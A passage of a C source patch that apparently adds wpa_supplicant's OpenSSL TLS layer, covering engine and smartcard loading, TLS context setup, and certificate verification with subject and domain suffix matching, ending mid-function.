ssl_info_cb(const SSL *ssl, int where, int ret) +{ + const char *str; + int w; + + wpa_printf(MSG_DEBUG, "SSL: (where=0x%x ret=0x%x)", where, ret); + w = where & ~SSL_ST_MASK; + if (w & SSL_ST_CONNECT) + str = "SSL_connect"; + else if (w & SSL_ST_ACCEPT) + str = "SSL_accept"; + else + str = "undefined"; + + if (where & SSL_CB_LOOP) { + wpa_printf(MSG_DEBUG, "SSL: %s:%s", + str, SSL_state_string_long(ssl)); + } else if (where & SSL_CB_ALERT) { + struct tls_connection *conn = SSL_get_app_data((SSL *) ssl); + wpa_printf(MSG_INFO, "SSL: SSL3 alert: %s:%s:%s", + where & SSL_CB_READ ? + "read (remote end reported an error)" : + "write (local SSL3 detected an error)", + SSL_alert_type_string_long(ret), + SSL_alert_desc_string_long(ret)); + if ((ret >> 8) == SSL3_AL_FATAL) { + if (where & SSL_CB_READ) + conn->read_alerts++; + else + conn->write_alerts++; + } + if (conn->context->event_cb != NULL) { + union tls_event_data ev; + struct tls_context *context = conn->context; + os_memset(&ev, 0, sizeof(ev)); + ev.alert.is_local = !(where & SSL_CB_READ); + ev.alert.type = SSL_alert_type_string_long(ret); + ev.alert.description = SSL_alert_desc_string_long(ret); + context->event_cb(context->cb_ctx, TLS_ALERT, &ev); + } + } else if (where & SSL_CB_EXIT && ret <= 0) { + wpa_printf(MSG_DEBUG, "SSL: %s:%s in %s", + str, ret == 0 ? "failed" : "error", + SSL_state_string_long(ssl)); + } +} + + +#ifndef OPENSSL_NO_ENGINE +/** + * tls_engine_load_dynamic_generic - load any openssl engine + * @pre: an array of commands and values that load an engine initialized + * in the engine specific function + * @post: an array of commands and values that initialize an already loaded + * engine (or %NULL if not required) + * @id: the engine id of the engine to load (only required if post is not %NULL + * + * This function is a generic function that loads any openssl engine. + * + * Returns: 0 on success, -1 on failure + */ +static int tls_engine_load_dynamic_generic(const char *pre[], + const char *post[], const char *id) +{ + ENGINE *engine; + const char *dynamic_id = "dynamic"; + + engine = ENGINE_by_id(id); + if (engine) { + ENGINE_free(engine); + wpa_printf(MSG_DEBUG, "ENGINE: engine '%s' is already " + "available", id); + return 0; + } + ERR_clear_error(); + + engine = ENGINE_by_id(dynamic_id); + if (engine == NULL) { + wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", + dynamic_id, + ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + + /* Perform the pre commands. This will load the engine. */ + while (pre && pre[0]) { + wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", pre[0], pre[1]); + if (ENGINE_ctrl_cmd_string(engine, pre[0], pre[1], 0) == 0) { + wpa_printf(MSG_INFO, "ENGINE: ctrl cmd_string failed: " + "%s %s [%s]", pre[0], pre[1], + ERR_error_string(ERR_get_error(), NULL)); + ENGINE_free(engine); + return -1; + } + pre += 2; + } + + /* + * Free the reference to the "dynamic" engine. The loaded engine can + * now be looked up using ENGINE_by_id(). + */ + ENGINE_free(engine); + + engine = ENGINE_by_id(id); + if (engine == NULL) { + wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", + id, ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + + while (post && post[0]) { + wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", post[0], post[1]); + if (ENGINE_ctrl_cmd_string(engine, post[0], post[1], 0) == 0) { + wpa_printf(MSG_DEBUG, "ENGINE: ctrl cmd_string failed:" + " %s %s [%s]", post[0], post[1], + ERR_error_string(ERR_get_error(), NULL)); + ENGINE_remove(engine); + ENGINE_free(engine); + return -1; + } + post += 2; + } + ENGINE_free(engine); + + return 0; +} + + +/** + * tls_engine_load_dynamic_pkcs11 - load the pkcs11 engine provided by opensc + * @pkcs11_so_path: pksc11_so_path from the configuration + * @pcks11_module_path: pkcs11_module_path from the configuration + */ +static int tls_engine_load_dynamic_pkcs11(const char *pkcs11_so_path, + const char *pkcs11_module_path) +{ + char *engine_id = "pkcs11"; + const char *pre_cmd[] = { + "SO_PATH", NULL /* pkcs11_so_path */, + "ID", NULL /* engine_id */, + "LIST_ADD", "1", + /* "NO_VCHECK", "1", */ + "LOAD", NULL, + NULL, NULL + }; + const char *post_cmd[] = { + "MODULE_PATH", NULL /* pkcs11_module_path */, + NULL, NULL + }; + + if (!pkcs11_so_path || !pkcs11_module_path) + return 0; + + pre_cmd[1] = pkcs11_so_path; + pre_cmd[3] = engine_id; + post_cmd[1] = pkcs11_module_path; + + wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s", + pkcs11_so_path); + + return tls_engine_load_dynamic_generic(pre_cmd, post_cmd, engine_id); +} + + +/** + * tls_engine_load_dynamic_opensc - load the opensc engine provided by opensc + * @opensc_so_path: opensc_so_path from the configuration + */ +static int tls_engine_load_dynamic_opensc(const char *opensc_so_path) +{ + char *engine_id = "opensc"; + const char *pre_cmd[] = { + "SO_PATH", NULL /* opensc_so_path */, + "ID", NULL /* engine_id */, + "LIST_ADD", "1", + "LOAD", NULL, + NULL, NULL + }; + + if (!opensc_so_path) + return 0; + + pre_cmd[1] = opensc_so_path; + pre_cmd[3] = engine_id; + + wpa_printf(MSG_DEBUG, "ENGINE: Loading OpenSC Engine from %s", + opensc_so_path); + + return tls_engine_load_dynamic_generic(pre_cmd, NULL, engine_id); +} +#endif /* OPENSSL_NO_ENGINE */ + + +void * tls_init(const struct tls_config *conf) +{ + SSL_CTX *ssl; + struct tls_context *context; + + if (tls_openssl_ref_count == 0) { + tls_global = context = tls_context_new(conf); + if (context == NULL) + return NULL; +#ifdef CONFIG_FIPS +#ifdef OPENSSL_FIPS + if (conf && conf->fips_mode) { + if (!FIPS_mode_set(1)) { + wpa_printf(MSG_ERROR, "Failed to enable FIPS " + "mode"); + ERR_load_crypto_strings(); + ERR_print_errors_fp(stderr); + os_free(tls_global); + tls_global = NULL; + return NULL; + } else + wpa_printf(MSG_INFO, "Running in FIPS mode"); + } +#else /* OPENSSL_FIPS */ + if (conf && conf->fips_mode) { + wpa_printf(MSG_ERROR, "FIPS mode requested, but not " + "supported"); + os_free(tls_global); + tls_global = NULL; + return NULL; + } +#endif /* OPENSSL_FIPS */ +#endif /* CONFIG_FIPS */ + SSL_load_error_strings(); + SSL_library_init(); +#if (OPENSSL_VERSION_NUMBER >= 0x0090800fL) && !defined(OPENSSL_NO_SHA256) + EVP_add_digest(EVP_sha256()); +#endif /* OPENSSL_NO_SHA256 */ + /* TODO: if /dev/urandom is available, PRNG is seeded + * automatically. If this is not the case, random data should + * be added here. */ + +#ifdef PKCS12_FUNCS +#ifndef OPENSSL_NO_RC2 + /* + * 40-bit RC2 is commonly used in PKCS#12 files, so enable it. + * This is enabled by PKCS12_PBE_add() in OpenSSL 0.9.8 + * versions, but it looks like OpenSSL 1.0.0 does not do that + * anymore. + */ + EVP_add_cipher(EVP_rc2_40_cbc()); +#endif /* OPENSSL_NO_RC2 */ + PKCS12_PBE_add(); +#endif /* PKCS12_FUNCS */ + } else { + context = tls_global; +#ifdef OPENSSL_SUPPORTS_CTX_APP_DATA + /* Newer OpenSSL can store app-data per-SSL */ + context = tls_context_new(conf); + if (context == NULL) + return NULL; +#endif /* OPENSSL_SUPPORTS_CTX_APP_DATA */ + } + tls_openssl_ref_count++; + + ssl = SSL_CTX_new(TLSv1_method()); + if (ssl == NULL) { + tls_openssl_ref_count--; +#ifdef OPENSSL_SUPPORTS_CTX_APP_DATA + if (context != tls_global) + os_free(context); +#endif /* OPENSSL_SUPPORTS_CTX_APP_DATA */ + if (tls_openssl_ref_count == 0) { + os_free(tls_global); + tls_global = NULL; + } + return NULL; + } + + SSL_CTX_set_info_callback(ssl, ssl_info_cb); +#ifdef OPENSSL_SUPPORTS_CTX_APP_DATA + SSL_CTX_set_app_data(ssl, context); +#endif /* OPENSSL_SUPPORTS_CTX_APP_DATA */ + +#ifndef OPENSSL_NO_ENGINE + if (conf && + (conf->opensc_engine_path || conf->pkcs11_engine_path || + conf->pkcs11_module_path)) { + wpa_printf(MSG_DEBUG, "ENGINE: Loading dynamic engine"); + ERR_load_ENGINE_strings(); + ENGINE_load_dynamic(); + + if (tls_engine_load_dynamic_opensc(conf->opensc_engine_path) || + tls_engine_load_dynamic_pkcs11(conf->pkcs11_engine_path, + conf->pkcs11_module_path)) { + tls_deinit(ssl); + return NULL; + } + } +#endif /* OPENSSL_NO_ENGINE */ + + return ssl; +} + + +void tls_deinit(void *ssl_ctx) +{ + SSL_CTX *ssl = ssl_ctx; +#ifdef OPENSSL_SUPPORTS_CTX_APP_DATA + struct tls_context *context = SSL_CTX_get_app_data(ssl); + if (context != tls_global) + os_free(context); +#endif /* OPENSSL_SUPPORTS_CTX_APP_DATA */ + SSL_CTX_free(ssl); + + tls_openssl_ref_count--; + if (tls_openssl_ref_count == 0) { +#ifndef OPENSSL_NO_ENGINE + ENGINE_cleanup(); +#endif /* OPENSSL_NO_ENGINE */ + CRYPTO_cleanup_all_ex_data(); + ERR_remove_state(0); + ERR_free_strings(); + EVP_cleanup(); + os_free(tls_global->ocsp_stapling_response); + tls_global->ocsp_stapling_response = NULL; + os_free(tls_global); + tls_global = NULL; + } +} + + +static int tls_engine_init(struct tls_connection *conn, const char *engine_id, + const char *pin, const char *key_id, + const char *cert_id, const char *ca_cert_id) +{ +#ifndef OPENSSL_NO_ENGINE + int ret = -1; + if (engine_id == NULL) { + wpa_printf(MSG_ERROR, "ENGINE: Engine ID not set"); + return -1; + } +#ifndef ANDROID + if (pin == NULL) { + wpa_printf(MSG_ERROR, "ENGINE: Smartcard PIN not set"); + return -1; + } +#endif + if (key_id == NULL) { + wpa_printf(MSG_ERROR, "ENGINE: Key Id not set"); + return -1; + } + + ERR_clear_error(); +#ifdef ANDROID + ENGINE_load_dynamic(); +#endif + conn->engine = ENGINE_by_id(engine_id); + if (!conn->engine) { + wpa_printf(MSG_ERROR, "ENGINE: engine %s not available [%s]", + engine_id, ERR_error_string(ERR_get_error(), NULL)); + goto err; + } + if (ENGINE_init(conn->engine) != 1) { + wpa_printf(MSG_ERROR, "ENGINE: engine init failed " + "(engine: %s) [%s]", engine_id, + ERR_error_string(ERR_get_error(), NULL)); + goto err; + } + wpa_printf(MSG_DEBUG, "ENGINE: engine initialized"); + +#ifndef ANDROID + if (ENGINE_ctrl_cmd_string(conn->engine, "PIN", pin, 0) == 0) { + wpa_printf(MSG_ERROR, "ENGINE: cannot set pin [%s]", + ERR_error_string(ERR_get_error(), NULL)); + goto err; + } +#endif + /* load private key first in-case PIN is required for cert */ + conn->private_key = ENGINE_load_private_key(conn->engine, + key_id, NULL, NULL); + if (!conn->private_key) { + wpa_printf(MSG_ERROR, "ENGINE: cannot load private key with id" + " '%s' [%s]", key_id, + ERR_error_string(ERR_get_error(), NULL)); + ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; + goto err; + } + + /* handle a certificate and/or CA certificate */ + if (cert_id || ca_cert_id) { + const char *cmd_name = "LOAD_CERT_CTRL"; + + /* test if the engine supports a LOAD_CERT_CTRL */ + if (!ENGINE_ctrl(conn->engine, ENGINE_CTRL_GET_CMD_FROM_NAME, + 0, (void *)cmd_name, NULL)) { + wpa_printf(MSG_ERROR, "ENGINE: engine does not support" + " loading certificates"); + ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; + goto err; + } + } + + return 0; + +err: + if (conn->engine) { + ENGINE_free(conn->engine); + conn->engine = NULL; + } + + if (conn->private_key) { + EVP_PKEY_free(conn->private_key); + conn->private_key = NULL; + } + + return ret; +#else /* OPENSSL_NO_ENGINE */ + return 0; +#endif /* OPENSSL_NO_ENGINE */ +} + + +static void tls_engine_deinit(struct tls_connection *conn) +{ +#ifndef OPENSSL_NO_ENGINE + wpa_printf(MSG_DEBUG, "ENGINE: engine deinit"); + if (conn->private_key) { + EVP_PKEY_free(conn->private_key); + conn->private_key = NULL; + } + if (conn->engine) { + ENGINE_finish(conn->engine); + conn->engine = NULL; + } +#endif /* OPENSSL_NO_ENGINE */ +} + + +int tls_get_errors(void *ssl_ctx) +{ + int count = 0; + unsigned long err; + + while ((err = ERR_get_error())) { + wpa_printf(MSG_INFO, "TLS - SSL error: %s", + ERR_error_string(err, NULL)); + count++; + } + + return count; +} + +struct tls_connection * tls_connection_init(void *ssl_ctx) +{ + SSL_CTX *ssl = ssl_ctx; + struct tls_connection *conn; + long options; + struct tls_context *context = tls_global; +#ifdef OPENSSL_SUPPORTS_CTX_APP_DATA + context = SSL_CTX_get_app_data(ssl); +#endif /* OPENSSL_SUPPORTS_CTX_APP_DATA */ + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + conn->ssl = SSL_new(ssl); + if (conn->ssl == NULL) { + tls_show_errors(MSG_INFO, __func__, + "Failed to initialize new SSL connection"); + os_free(conn); + return NULL; + } + + conn->context = context; + SSL_set_app_data(conn->ssl, conn); + options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | + SSL_OP_SINGLE_DH_USE; +#ifdef SSL_OP_NO_COMPRESSION + options |= SSL_OP_NO_COMPRESSION; +#endif /* SSL_OP_NO_COMPRESSION */ + SSL_set_options(conn->ssl, options); + + conn->ssl_in = BIO_new(BIO_s_mem()); + if (!conn->ssl_in) { + tls_show_errors(MSG_INFO, __func__, + "Failed to create a new BIO for ssl_in"); + SSL_free(conn->ssl); + os_free(conn); + return NULL; + } + + conn->ssl_out = BIO_new(BIO_s_mem()); + if (!conn->ssl_out) { + tls_show_errors(MSG_INFO, __func__, + "Failed to create a new BIO for ssl_out"); + SSL_free(conn->ssl); + BIO_free(conn->ssl_in); + os_free(conn); + return NULL; + } + + SSL_set_bio(conn->ssl, conn->ssl_in, conn->ssl_out); + + return conn; +} + + +void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return; + SSL_free(conn->ssl); + tls_engine_deinit(conn); + os_free(conn->subject_match); + os_free(conn->altsubject_match); + os_free(conn->suffix_match); + os_free(conn->session_ticket); + os_free(conn); +} + + +int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) +{ + return conn ? SSL_is_init_finished(conn->ssl) : 0; +} + + +int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + + /* Shutdown previous TLS connection without notifying the peer + * because the connection was already terminated in practice + * and "close notify" shutdown alert would confuse AS. */ + SSL_set_quiet_shutdown(conn->ssl, 1); + SSL_shutdown(conn->ssl); + return 0; +} + + +static int tls_match_altsubject_component(X509 *cert, int type, + const char *value, size_t len) +{ + GENERAL_NAME *gen; + void *ext; + int i, found = 0; + + ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); + + for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { + gen = sk_GENERAL_NAME_value(ext, i); + if (gen->type != type) + continue; + if (os_strlen((char *) gen->d.ia5->data) == len && + os_memcmp(value, gen->d.ia5->data, len) == 0) + found++; + } + + return found; +} + + +static int tls_match_altsubject(X509 *cert, const char *match) +{ + int type; + const char *pos, *end; + size_t len; + + pos = match; + do { + if (os_strncmp(pos, "EMAIL:", 6) == 0) { + type = GEN_EMAIL; + pos += 6; + } else if (os_strncmp(pos, "DNS:", 4) == 0) { + type = GEN_DNS; + pos += 4; + } else if (os_strncmp(pos, "URI:", 4) == 0) { + type = GEN_URI; + pos += 4; + } else { + wpa_printf(MSG_INFO, "TLS: Invalid altSubjectName " + "match '%s'", pos); + return 0; + } + end = os_strchr(pos, ';'); + while (end) { + if (os_strncmp(end + 1, "EMAIL:", 6) == 0 || + os_strncmp(end + 1, "DNS:", 4) == 0 || + os_strncmp(end + 1, "URI:", 4) == 0) + break; + end = os_strchr(end + 1, ';'); + } + if (end) + len = end - pos; + else + len = os_strlen(pos); + if (tls_match_altsubject_component(cert, type, pos, len) > 0) + return 1; + pos = end + 1; + } while (end); + + return 0; +} + + +#ifndef CONFIG_NATIVE_WINDOWS +static int domain_suffix_match(const u8 *val, size_t len, const char *match) +{ + size_t i, match_len; + + /* Check for embedded nuls that could mess up suffix matching */ + for (i = 0; i < len; i++) { + if (val[i] == '\0') { + wpa_printf(MSG_DEBUG, "TLS: Embedded null in a string - reject"); + return 0; + } + } + + match_len = os_strlen(match); + if (match_len > len) + return 0; + + if (os_strncasecmp((const char *) val + len - match_len, match, + match_len) != 0) + return 0; /* no match */ + + if (match_len == len) + return 1; /* exact match */ + + if (val[len - match_len - 1] == '.') + return 1; /* full label match completes suffix match */ + + wpa_printf(MSG_DEBUG, "TLS: Reject due to incomplete label match"); + return 0; +} +#endif /* CONFIG_NATIVE_WINDOWS */ + + +static int tls_match_suffix(X509 *cert, const char *match) +{ +#ifdef CONFIG_NATIVE_WINDOWS + /* wincrypt.h has conflicting X509_NAME definition */ + return -1; +#else /* CONFIG_NATIVE_WINDOWS */ + GENERAL_NAME *gen; + void *ext; + int i; + int dns_name = 0; + X509_NAME *name; + + wpa_printf(MSG_DEBUG, "TLS: Match domain against suffix %s", match); + + ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); + + for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { + gen = sk_GENERAL_NAME_value(ext, i); + if (gen->type != GEN_DNS) + continue; + dns_name++; + wpa_hexdump_ascii(MSG_DEBUG, "TLS: Certificate dNSName", + gen->d.dNSName->data, + gen->d.dNSName->length); + if (domain_suffix_match(gen->d.dNSName->data, + gen->d.dNSName->length, match) == 1) { + wpa_printf(MSG_DEBUG, "TLS: Suffix match in dNSName found"); + return 1; + } + } + + if (dns_name) { + wpa_printf(MSG_DEBUG, "TLS: None of the dNSName(s) matched"); + return 0; + } + + name = X509_get_subject_name(cert); + i = -1; + for (;;) { + X509_NAME_ENTRY *e; + ASN1_STRING *cn; + + i = X509_NAME_get_index_by_NID(name, NID_commonName, i); + if (i == -1) + break; + e = X509_NAME_get_entry(name, i); + if (e == NULL) + continue; + cn = X509_NAME_ENTRY_get_data(e); + if (cn == NULL) + continue; + wpa_hexdump_ascii(MSG_DEBUG, "TLS: Certificate commonName", + cn->data, cn->length); + if (domain_suffix_match(cn->data, cn->length, match) == 1) { + wpa_printf(MSG_DEBUG, "TLS: Suffix match in commonName found"); + return 1; + } + } + + wpa_printf(MSG_DEBUG, "TLS: No CommonName suffix match found"); + return 0; +#endif /* CONFIG_NATIVE_WINDOWS */ +} + + +static enum tls_fail_reason openssl_tls_fail_reason(int err) +{ + switch (err) { + case X509_V_ERR_CERT_REVOKED: + return TLS_FAIL_REVOKED; + case X509_V_ERR_CERT_NOT_YET_VALID: + case X509_V_ERR_CRL_NOT_YET_VALID: + return TLS_FAIL_NOT_YET_VALID; + case X509_V_ERR_CERT_HAS_EXPIRED: + case X509_V_ERR_CRL_HAS_EXPIRED: + return TLS_FAIL_EXPIRED; + case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT: + case X509_V_ERR_UNABLE_TO_GET_CRL: + case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER: + case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN: + case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY: + case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT: + case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE: + case X509_V_ERR_CERT_CHAIN_TOO_LONG: + case X509_V_ERR_PATH_LENGTH_EXCEEDED: + case X509_V_ERR_INVALID_CA: + return TLS_FAIL_UNTRUSTED; + case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE: + case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE: + case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY: + case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD: + case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD: + case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD: + case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD: + case X509_V_ERR_CERT_UNTRUSTED: + case X509_V_ERR_CERT_REJECTED: + return TLS_FAIL_BAD_CERTIFICATE; + default: + return TLS_FAIL_UNSPECIFIED; + } +} + + +static struct wpabuf * get_x509_cert(X509 *cert) +{ + struct wpabuf *buf; + u8 *tmp; + + int cert_len = i2d_X509(cert, NULL); + if (cert_len <= 0) + return NULL; + + buf = wpabuf_alloc(cert_len); + if (buf == NULL) + return NULL; + + tmp = wpabuf_put(buf, cert_len); + i2d_X509(cert, &tmp); + return buf; +} + + +static void openssl_tls_fail_event(struct tls_connection *conn, + X509 *err_cert, int err, int depth, + const char *subject, const char *err_str, + enum tls_fail_reason reason) +{ + union tls_event_data ev; + struct wpabuf *cert = NULL; + struct tls_context *context = conn->context; + + if (context->event_cb == NULL) + return; + + cert = get_x509_cert(err_cert); + os_memset(&ev, 0, sizeof(ev)); + ev.cert_fail.reason = reason != TLS_FAIL_UNSPECIFIED ? + reason : openssl_tls_fail_reason(err); + ev.cert_fail.depth = depth; + ev.cert_fail.subject = subject; + ev.cert_fail.reason_txt = err_str; + ev.cert_fail.cert = cert; + context->event_cb(context->cb_ctx, TLS_CERT_CHAIN_FAILURE, &ev); + wpabuf_free(cert); +} + + +static void openssl_tls_cert_event(struct tls_connection *conn, + X509 *err_cert, int depth, + const char *subject) +{ + struct wpabuf *cert = NULL; + union tls_event_data ev; + struct tls_context *context = conn->context; +#ifdef CONFIG_SHA256 + u8 hash[32]; +#endif /* CONFIG_SHA256 */ + + if (context->event_cb == NULL) + return; + + os_memset(&ev, 0, sizeof(ev)); + if (conn->cert_probe || context->cert_in_cb) { + cert = get_x509_cert(err_cert); + ev.peer_cert.cert = cert; + } +#ifdef CONFIG_SHA256 + if (cert) { + const u8 *addr[1]; + size_t len[1]; + addr[0] = wpabuf_head(cert); + len[0] = wpabuf_len(cert); + if (sha256_vector(1, addr, len, hash) == 0) { + ev.peer_cert.hash = hash; + ev.peer_cert.hash_len = sizeof(hash); + } + } +#endif /* CONFIG_SHA256 */ + ev.peer_cert.depth = depth; + ev.peer_cert.subject = subject; + context->event_cb(context->cb_ctx, TLS_PEER_CERTIFICATE, &ev); + wpabuf_free(cert); +} + + +static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) +{ + char buf[256]; + X509 *err_cert; + int err, depth; + SSL *ssl; + struct tls_connection *conn; + struct tls_context *context; + char *match, *altmatch, *suffix_match; + const char *err_str; + + err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); + err = X509_STORE_CTX_get_error(x509_ctx); + depth = X509_STORE_CTX_get_error_depth(x509_ctx); + ssl = X509_STORE_CTX_get_ex_data(x509_ctx, + SSL_get_ex_data_X509_STORE_CTX_idx()); + X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); + + conn = SSL_get_app_data(ssl); + if (conn == NULL) + return 0; + + if (depth == 0) + conn->peer_cert = err_cert; + else if (depth == 1) + conn->peer_issuer = err_cert; + + context = conn->context; + match = conn->subject_match; + altmatch = conn->altsubject_match; + suffix_match = conn->suffix_match; + + if (!preverify_ok && !conn->ca_cert_verify) + preverify_ok = 1; + if (!preverify_ok && depth > 0 && conn->server_cert_only) + preverify_ok = 1; + if (!preverify_ok && (conn->flags & TLS_CONN_DISABLE_TIME_CHECKS) && + (err == X509_V_ERR_CERT_HAS_EXPIRED || + err == X509_V_ERR_CERT_NOT_YET_VALID)) { + wpa_printf(MSG_DEBUG, "OpenSSL: Ignore certificate validity " + "time mismatch"); + preverify_ok = 1; + } + + err_str = X509_verify_cert_error_string(err); + +#ifdef CONFIG_SHA256 + if (preverify_ok && depth == 0 && conn->server_cert_only) { + struct wpabuf *cert; + cert = get_x509_cert(err_cert); + if (!cert) { + wpa_printf(MSG_DEBUG, "OpenSSL: Could not fetch " + "server certificate data"); + preverify_ok = 0; + } else { + u8 hash[32]; + const u8 *addr[1]; + size_t len[1]; + addr[0] = wpabuf_head(cert); + len[0] = wpabuf_len(cert); + if (sha256_vector(1, addr, len, hash) < 0 || + os_memcmp(conn->srv_cert_hash, hash, 32) != 0) { + err_str = "Server certificate mismatch"; + err = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN; + preverify_ok = 0; + } + wpabuf_free(cert); + } + } +#endif /* CONFIG_SHA256 */ + + if (!preverify_ok) { + wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," + " error %d (%s) depth %d for '%s'", err, err_str, + depth, buf); + openssl_tls_fail_event(conn, err_cert, err, depth, buf, + err_str, TLS_FAIL_UNSPECIFIED); + return preverify_ok; + } + + wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - preverify_ok=%d " + "err=%d (%s) ca_cert_verify=%d depth=%d buf='%s'", + preverify_ok, err, err_str, + conn->ca_cert_verify, depth, buf); + if (depth == 0 && match && os_strstr(buf, match) == NULL) { + wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " + "match with '%s'", buf, match); + preverify_ok = 0; + openssl_tls_fail_event(conn, err_cert, err, depth, buf, + "Subject mismatch", + TLS_FAIL_SUBJECT_MISMATCH); + } else if (depth == 0 && altmatch && + !tls_match_altsubject(err_cert, altmatch)) { + wpa_printf(MSG_WARNING, "TLS: altSubjectName match " + "'%s' not found", altmatch); + preverify_ok = 0; + openssl_tls_fail_event(conn, err_cert, err, depth, buf, + "AltSubject mismatch", + TLS_FAIL_ALTSUBJECT_MISMATCH); + } else if (depth == 0 && suffix_match && + !tls_match_suffix(err_cert, suffix_match)) { + wpa_printf(MSG_WARNING, "TLS: Domain suffix match '%s' not found", + suffix_match); + preverify_ok = 0; + openssl_tls_fail_event(conn, err_cert, err, depth, buf, + "Domain suffix mismatch", + TLS_FAIL_DOMAIN_SUFFIX_MISMATCH); + } else + openssl_tls_cert_event(conn, err_cert, depth, buf); + + if (conn->cert_probe && preverify_ok && depth == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Reject server certificate " + "on probe-only run"); + preverify_ok = 0; + openssl_tls_fail_event(conn, err_cert, err, depth, buf, + "Server certificate chain probe", + TLS_FAIL_SERVER_CHAIN_PROBE); + } + + if (preverify_ok && context->event_cb != NULL) + context->event_cb(context->cb_ctx, + TLS_CERT_CHAIN_SUCCESS, NULL); + + return preverify_ok; +} + + +#ifndef OPENSSL_NO_STDIO +static int tls_load_ca_der(void *_ssl_ctx, const char *ca_cert) +{ + SSL_CTX *ssl_ctx = _ssl_ctx; + X509_LOOKUP *lookup; + int ret = 0; + + lookup = X509_STORE_add_lookup(ssl_ctx->cert_store, + X509_LOOKUP_file()); + if (lookup == NULL) { + tls_show_errors(MSG_WARNING, __func__, + "Failed add lookup for X509 store"); + return -1; + } + + if (!X509_LOOKUP_load_file(lookup, ca_cert, X509_FILETYPE_ASN1)) { + unsigned long err = ERR_peek_error(); + tls_show_errors(MSG_WARNING, __func__, + "Failed load CA in DER format"); + if (ERR_GET_LIB(err) == ERR_LIB_X509 && + ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { + wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " + "cert already in hash table error", + __func__); + } else + ret = -1; + } + + return ret; +} +#endif /* OPENSSL_NO_STDIO */ + + +static int tls_connection_ca_cert(void *_ssl_ctx, struct tls_connection *conn, + const char *ca_cert, const u8 *ca_cert_blob, + size_t ca_cert_blob_len, const char *ca_path) +{ + SSL_CTX *ssl_ctx = _ssl_ctx; + + /* + * Remove previously configured trusted CA certificates before adding + * new ones. + */ + X509_STORE_free(ssl_ctx->cert_store); + ssl_ctx->cert_store = X509_STORE_new(); + if (ssl_ctx->cert_store == NULL) { + wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " + "certificate store", __func__); + return -1; + } + + SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); + conn->ca_cert_verify = 1; + + if (ca_cert && os_strncmp(ca_cert, "probe://", 8) == 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Probe for server certificate " + "chain"); + conn->cert_probe = 1; + conn->ca_cert_verify = 0; + return 0; + } + + if (ca_cert && os_strncmp(ca_cert, "hash://", 7) == 0) { +#ifdef CONFIG_SHA256 + const char *pos = ca_cert + 7; + if (os_strncmp(pos, "server/sha256/", 14) != 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Unsupported ca_cert " + "hash value '%s'", ca_cert); + return -1; + } + pos += 14; + if (os_strlen(pos) != 32 * 2) { + wpa_printf(MSG_DEBUG, "OpenSSL: Unexpected SHA256 " + "hash length in ca_cert '%s'", ca_cert); + return -1; + } + if (hexstr2bin(pos, conn->srv_cert_hash, 32) < 0) { + wpa_printf(MSG_DEBUG, "OpenSSL: Invalid SHA256 hash " + "value in ca_cert '%s'", ca_cert); + return -1; + } + conn->server_cert_only = 1; + wpa_printf(MSG_DEBUG, "OpenSSL: Checking only server " + "certificate match"); + return 0; +#else /* CONFIG_SHA256 */ + wpa_printf(MSG_INFO, "No SHA256 included in the build - " + "cannot validate server certificate hash"); + return -1; +#endif /* CONFIG_SHA256 */ + } + + if (ca_cert_blob) { + X509 *cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ca_cert_blob, + ca_cert_blob_len); + if (cert == NULL) { + tls_show_errors(MSG_WARNING, __func__, + "Failed to parse ca_cert_blob"); + return -1; + } + + if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { + unsigned long err = ERR_peek_error(); + tls_show_errors(MSG_WARNING, __func__, + "Failed to add ca_cert_blob to " + "certificate store"); + if (ERR_GET_LIB(err) == ERR_LIB_X509 && + ERR_GET_REASON(err) == + X509_R_CERT_ALREADY_IN_HASH_TABLE) { + wpa_printf(MSG_DEBUG, "OpenSSL: 